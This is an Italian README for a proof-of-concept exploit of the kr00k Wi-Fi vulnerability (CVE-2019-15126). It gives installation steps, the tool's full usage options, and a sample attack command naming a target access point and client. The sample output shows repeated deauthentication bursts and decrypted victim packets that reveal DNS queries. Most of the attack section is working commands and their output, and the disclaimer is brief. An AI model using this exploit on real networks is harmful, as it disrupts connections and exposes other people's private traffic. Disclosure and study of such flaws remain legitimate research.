hexway/r00kie-kr00kieExploit PoC per la vulnerabilità CVE-2019-15126 kr00k
Questa è una proof-of-concept dell'exploit per la vulnerabilità CVE-2019-15126 kr00k.
Questo progetto ha solo scopo educativo e non può essere utilizzato per violare la legge o per guadagno personale.
L'autore di questo progetto non è responsabile per eventuali danni causati dall'uso dei materiali.
Per utilizzare questi script, avrai bisogno di una scheda WiFi che supporti la modalità monitor attiva con iniezione di frame. Raccomandiamo il chip Atheros AR9280 (IEEE 802.11n) che abbiamo usato per sviluppare e testare il codice. Abbiamo testato questa PoC su Kali Linux
# clona il repository principale
git clone https://github.com/hexway/r00kie-kr00kie.git && cd ./r00kie-kr00kie
# installa le dipendenze
sudo pip3 install -r requirements.txt
Questo è il file principale dell'exploit che implementa l'attacco kr00k
->~:python3 r00kie-kr00kie.py -h
usage: r00kie-kr00kie.py [-h] [-i INTERFACE] [-l CHANNEL] [-b BSSID]
[-c CLIENT] [-n DEAUTH_NUMBER] [-d DEAUTH_DELAY]
[-p PCAP_PATH_READ] [-r PCAP_PATH_RESULT] [-q]
PoC of CVE-2019-15126 kr00k vulnerability
optional arguments:
-h, --help show this help message and exit
-i INTERFACE, --interface INTERFACE
Set wireless interface name for listen packets
-l CHANNEL, --channel CHANNEL
Set channel for wireless interface (default: 1)
-b BSSID, --bssid BSSID
Set WiFi AP BSSID (example: "01:23:45:67:89:0a")
-c CLIENT, --client CLIENT
Set WiFi client MAC address (example:
"01:23:45:67:89:0b")
-n DEAUTH_NUMBER, --deauth_number DEAUTH_NUMBER
Set number of deauth packets for one iteration
(default: 5)
-d DEAUTH_DELAY, --deauth_delay DEAUTH_DELAY
Set delay between sending deauth packets (default: 5)
-p PCAP_PATH_READ, --pcap_path_read PCAP_PATH_READ
Set path to PCAP file for read encrypted packets
-r PCAP_PATH_RESULT, --pcap_path_result PCAP_PATH_RESULT
Set path to PCAP file for write decrypted packets
-q, --quiet Minimal output
Per avviare un attacco, devi conoscere il bssid del punto di accesso, il suo canale e l'indirizzo mac della vittima.
Puoi trovarli usando l'utility airodump-ng wlan0.
Esegui l'exploit:
->~:python3 r00kie-kr00kie.py -i wlan0 -b D4:38:9C:82:23:7A -c 88:C9:D0:FB:88:D1 -l 11
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/
[!] Kill processes that prevent monitor mode!
[*] Wireless interface: wlan0 already in mode monitor
[*] Set channel: 11 on wireless interface: wlan0
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[*] Send 5 deauth packets to: 88:C9:D0:FB:88:D1 from: D4:38:9C:82:23:7A
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30074
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce1
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0xa649
###[ DNS ]###
id = 55281
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = A
| qclass = IN
an = None
ns = None
ar = None
[+] Got a kr00ked packet:
###[ Ethernet ]###
dst = d4:38:9c:82:23:7a
src = 88:c9:d0:fb:88:d1
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 60
id = 30075
flags = DF
frag = 0
ttl = 64
proto = udp
chksum = 0xcce0
src = 192.168.43.161
dst = 8.8.4.4
\options \
###[ UDP ]###
sport = 60744
dport = domain
len = 40
chksum = 0x104b
###[ DNS ]###
id = 28117
qr = 0
opcode = QUERY
aa = 0
tc = 0
rd = 1
ra = 0
z = 0
ad = 0
cd = 0
rcode = ok
qdcount = 1
ancount = 0
nscount = 0
arcount = 0
\qd \
|###[ DNS Question Record ]###
| qname = 'g.whatsapp.net.'
| qtype = AAAA
| qclass = IN
an = None
ns = None
ar = None
Inoltre, se hai già intercettato traffico (file pcap) dopo l'attacco kr00k, puoi decifrare:
->~:python3 r00kie-kr00kie.py -p encrypted_packets.pcap
/$$$$$$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$__ $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ \ $$| $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$$$$$$/| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$__ $$| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$ \ $$| $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ | $$| $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ |__/ \______/ \______/ |__/ \__/|__/ \_______/
/$$ /$$$$$$ /$$$$$$ /$$ /$$
| $$ /$$$_ $$ /$$$_ $$| $$ |__/
| $$ /$$ /$$$$$$ | $$$$\ $$| $$$$\ $$| $$ /$$ /$$ /$$$$$$
| $$ /$$/ /$$__ $$| $$ $$ $$| $$ $$ $$| $$ /$$/| $$ /$$__ $$
| $$$$$$/ | $$ \__/| $$\ $$$$| $$\ $$$$| $$$$$$/ | $$| $$$$$$$$
| $$_ $$ | $$ | $$ \ $$$| $$ \ $$$| $$_ $$ | $$| $$_____/
| $$ \ $$| $$ | $$$$$$/| $$$$$$/| $$ \ $$| $$| $$$$$$$
|__/ \__/|__/ \______/ \______/ |__/ \__/|__/ \_______/
v0.0.1
https://hexway.io/research/r00kie-kr00kie/